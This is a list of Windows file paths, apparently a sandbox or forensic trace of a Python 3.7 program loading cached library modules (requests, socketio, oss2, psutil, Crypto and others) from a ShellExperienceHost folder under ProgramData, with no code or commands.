C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50101264
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\EXCEPTIONS.CPYTHON-37.PYC.50101720
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50018704
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SSL_MATCH_HOSTNAME\__PYCACHE__\__INIT__.CPYTHON-37.PYC.40922080
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\__PYCACHE__\SIX.CPYTHON-37.PYC.44822576
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\_VERSION.CPYTHON-37.PYC.47952224
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\CONNECTIONPOOL.CPYTHON-37.PYC.47952376
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\CONNECTION.CPYTHON-37.PYC.47952984
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\__INIT__.CPYTHON-37.PYC.47953440
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\CONNECTION.CPYTHON-37.PYC.47953592
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\__PYCACHE__\__INIT__.CPYTHON-37.PYC.50020144
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\__PYCACHE__\_APPENGINE_ENVIRON.CPYTHON-37.PYC.48014200
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\WAIT.CPYTHON-37.PYC.47954048
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\REQUEST.CPYTHON-37.PYC.47954200
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\RESPONSE.CPYTHON-37.PYC.47954504
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\RETRY.CPYTHON-37.PYC.47954960
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\SSL_.CPYTHON-37.PYC.47955264
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\URL.CPYTHON-37.PYC.47955568
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\SSLTRANSPORT.CPYTHON-37.PYC.50217648
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\TIMEOUT.CPYTHON-37.PYC.48169616
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\PROXY.CPYTHON-37.PYC.48170072
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\_COLLECTIONS.CPYTHON-37.PYC.48170224
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\REQUEST.CPYTHON-37.PYC.44807776
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\FILEPOST.CPYTHON-37.PYC.48170680
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\FIELDS.CPYTHON-37.PYC.48335008
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\RESPONSE.CPYTHON-37.PYC.48170984
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__PYCACHE__\QUEUE.CPYTHON-37.PYC.48171440
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__PYCACHE__\POOLMANAGER.CPYTHON-37.PYC.48171592
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\__INIT__.CPYTHON-37.PYC.48171896
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\UNIVERSALDETECTOR.CPYTHON-37.PYC.50217168
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\CHARSETGROUPPROBER.CPYTHON-37.PYC.50219408
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\ENUMS.CPYTHON-37.PYC.45681808
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\CHARSETPROBER.CPYTHON-37.PYC.48172352
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\ESCPROBER.CPYTHON-37.PYC.48172656
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\CODINGSTATEMACHINE.CPYTHON-37.PYC.47126448
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\ESCSM.CPYTHON-37.PYC.45722624
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LATIN1PROBER.CPYTHON-37.PYC.48172808
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\MBCSGROUPPROBER.CPYTHON-37.PYC.45850824
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\UTF8PROBER.CPYTHON-37.PYC.45851280
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\MBCSSM.CPYTHON-37.PYC.45868496
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\SJISPROBER.CPYTHON-37.PYC.45851584
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\MBCHARSETPROBER.CPYTHON-37.PYC.45851888
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\CHARDISTRIBUTION.CPYTHON-37.PYC.47434288
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\EUCTWFREQ.CPYTHON-37.PYC.45852496
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\EUCKRFREQ.CPYTHON-37.PYC.45852800
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\GB2312FREQ.CPYTHON-37.PYC.45853104
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\BIG5FREQ.CPYTHON-37.PYC.45853408
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\JISFREQ.CPYTHON-37.PYC.47172752
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\JPCNTX.CPYTHON-37.PYC.47170016
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\EUCJPPROBER.CPYTHON-37.PYC.45853712
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\GB2312PROBER.CPYTHON-37.PYC.45853864
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\EUCKRPROBER.CPYTHON-37.PYC.45854168
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\CP949PROBER.CPYTHON-37.PYC.45854472
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\BIG5PROBER.CPYTHON-37.PYC.54972616
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\EUCTWPROBER.CPYTHON-37.PYC.54972920
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\SBCSGROUPPROBER.CPYTHON-37.PYC.54973072
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\HEBREWPROBER.CPYTHON-37.PYC.54973224
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGBULGARIANMODEL.CPYTHON-37.PYC.47127728
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\SBCHARSETPROBER.CPYTHON-37.PYC.54973376
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGGREEKMODEL.CPYTHON-37.PYC.54973528
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGHEBREWMODEL.CPYTHON-37.PYC.54973680
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGRUSSIANMODEL.CPYTHON-37.PYC.44983760
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGTHAIMODEL.CPYTHON-37.PYC.54973832
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGTURKISHMODEL.CPYTHON-37.PYC.47432368
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\VERSION.CPYTHON-37.PYC.45679648
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\EXCEPTIONS.CPYTHON-37.PYC.54974136
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\__VERSION__.CPYTHON-37.PYC.54974440
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\UTILS.CPYTHON-37.PYC.54966864
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\CERTS.CPYTHON-37.PYC.55755808
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\__PYCACHE__\__INIT__.CPYTHON-37.PYC.49775096
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\__PYCACHE__\CORE.CPYTHON-37.PYC.55760480
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\_INTERNAL_UTILS.CPYTHON-37.PYC.47125808
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\COMPAT.CPYTHON-37.PYC.55804240
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\COOKIES.CPYTHON-37.PYC.56125568
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\STRUCTURES.CPYTHON-37.PYC.56126328
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\PACKAGES.CPYTHON-37.PYC.56126632
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__PYCACHE__\__INIT__.CPYTHON-37.PYC.45011856
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__PYCACHE__\PACKAGE_DATA.CPYTHON-37.PYC.56126936
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__PYCACHE__\CORE.CPYTHON-37.PYC.45012288
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__PYCACHE__\IDNADATA.CPYTHON-37.PYC.45041248
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__PYCACHE__\INTRANGES.CPYTHON-37.PYC.45041536
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\MODELS.CPYTHON-37.PYC.45012432
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\HOOKS.CPYTHON-37.PYC.45119936
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\AUTH.CPYTHON-37.PYC.45120656
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\STATUS_CODES.CPYTHON-37.PYC.45142368
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\API.CPYTHON-37.PYC.45146160
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\SESSIONS.CPYTHON-37.PYC.45142672
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\ADAPTERS.CPYTHON-37.PYC.45143888
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\__PYCACHE__\SOCKS.CPYTHON-37.PYC.45144192
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\__INIT__.CPYTHON-37.PYC.45144344
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_ABNF.CPYTHON-37.PYC.49238496
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_EXCEPTIONS.CPYTHON-37.PYC.45144648
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_UTILS.CPYTHON-37.PYC.45144952
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_APP.CPYTHON-37.PYC.49220752
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_CORE.CPYTHON-37.PYC.49384016
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_HANDSHAKE.CPYTHON-37.PYC.49366560
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_COOKIEJAR.CPYTHON-37.PYC.49366712
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_HTTP.CPYTHON-37.PYC.47643504
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_LOGGING.CPYTHON-37.PYC.49367320
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_SOCKET.CPYTHON-37.PYC.49367624
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_SSL_COMPAT.CPYTHON-37.PYC.49367928
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_URL.CPYTHON-37.PYC.47398752
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\EXCEPTIONS.CPYTHON-37.PYC.49368384
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\PACKET.CPYTHON-37.PYC.49279024
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\PAYLOAD.CPYTHON-37.PYC.49368840
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\MIDDLEWARE.CPYTHON-37.PYC.48849096
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\STATIC_FILES.CPYTHON-37.PYC.48849248
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\SERVER.CPYTHON-37.PYC.48735552
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\SOCKET.CPYTHON-37.PYC.48792752
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\ASYNCIO_SERVER.CPYTHON-37.PYC.48850464
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\ASYNCIO_SOCKET.CPYTHON-37.PYC.49568632
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\ASYNCIO_CLIENT.CPYTHON-37.PYC.49569088
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\__PYCACHE__\__INIT__.CPYTHON-37.PYC.48571536
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\__PYCACHE__\ASGI.CPYTHON-37.PYC.48571376
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\__PYCACHE__\TORNADO.CPYTHON-37.PYC.48574096
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\EXCEPTIONS.CPYTHON-37.PYC.55169528
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\NAMESPACE.CPYTHON-37.PYC.55169832
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\PACKET.CPYTHON-37.PYC.55243520
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\BASE_MANAGER.CPYTHON-37.PYC.55170288
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\PUBSUB_MANAGER.CPYTHON-37.PYC.55170744
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\KOMBU_MANAGER.CPYTHON-37.PYC.55171960
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\REDIS_MANAGER.CPYTHON-37.PYC.55172112
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\KAFKA_MANAGER.CPYTHON-37.PYC.55172264
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ZMQ_MANAGER.CPYTHON-37.PYC.55172416
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\SERVER.CPYTHON-37.PYC.56921088
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\MIDDLEWARE.CPYTHON-37.PYC.55172872
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\TORNADO.CPYTHON-37.PYC.57012424
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_CLIENT.CPYTHON-37.PYC.57012728
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_SERVER.CPYTHON-37.PYC.57013032
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_MANAGER.CPYTHON-37.PYC.47434768
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_NAMESPACE.CPYTHON-37.PYC.56832848
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_REDIS_MANAGER.CPYTHON-37.PYC.47799952
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_PUBSUB_MANAGER.CPYTHON-37.PYC.47798832
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_AIOPIKA_MANAGER.CPYTHON-37.PYC.55260192
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASGI.CPYTHON-37.PYC.55361584
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\__PYCACHE__\__INIT__.CPYTHON-37.PYC.57013640
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\__PYCACHE__\PYTHONCOM.CPYTHON-37.PYC.55362592
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWINTYPES.CPYTHON-37.PYC.57013792
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__PYCACHE__\__INIT__.CPYTHON-37.PYC.47432688
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__PYCACHE__\DYNAMIC.CPYTHON-37.PYC.57015160
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINERROR.CPYTHON-37.PYC.57016072
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__PYCACHE__\BUILD.CPYTHON-37.PYC.71942192
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__PYCACHE__\GENCACHE.CPYTHON-37.PYC.45009616
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__PYCACHE__\CLSIDTOCLASS.CPYTHON-37.PYC.45007536
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\GEN_PY\3.7\__INIT__.PY
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\GEN_PY\3.7\DICTS.DAT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32CON.CPYTHON-37.PYC.71943864
C:\WINDOWS\SYSTEM32\MSIMG32.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\__INIT__.CPYTHON-37.PYC.75827360
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\MODELS.CPYTHON-37.PYC.75827648
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\UTILS.CPYTHON-37.PYC.57918208
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__PYCACHE__\__INIT__.CPYTHON-37.PYC.58000848
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__PYCACHE__\CRCMOD.CPYTHON-37.PYC.58001280
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__PYCACHE__\_CRCFUNPY.CPYTHON-37.PYC.71945384
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__PYCACHE__\PREDEFINED.CPYTHON-37.PYC.71945688
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\COMPAT.CPYTHON-37.PYC.58060208
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\EXCEPTIONS.CPYTHON-37.PYC.58060496
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\API.CPYTHON-37.PYC.75828800
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\XML_UTILS.CPYTHON-37.PYC.71686592
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\HTTP.CPYTHON-37.PYC.57676400
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\DEFAULTS.CPYTHON-37.PYC.57799136
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\AUTH.CPYTHON-37.PYC.72299984
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\ITERATORS.CPYTHON-37.PYC.57801584
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\RESUMABLE.CPYTHON-37.PYC.57767664
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\TASK_QUEUE.CPYTHON-37.PYC.57862592
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\__INIT__.CPYTHON-37.PYC.57812576
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_COMMON.CPYTHON-37.PYC.69890672
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_COMPAT.CPYTHON-37.PYC.69891536
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSWINDOWS.CPYTHON-37.PYC.69955936
C:\WINDOWS\SYSTEM32\PDH.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\__PYCACHE__\NTPLIB.CPYTHON-37.PYC.68357088
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\__PYCACHE__\__INIT__.CPYTHON-37.PYC.69845472
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\__INIT__.CPYTHON-37.PYC.69958824
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_ECB.CPYTHON-37.PYC.69958976
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\__INIT__.CPYTHON-37.PYC.69959128
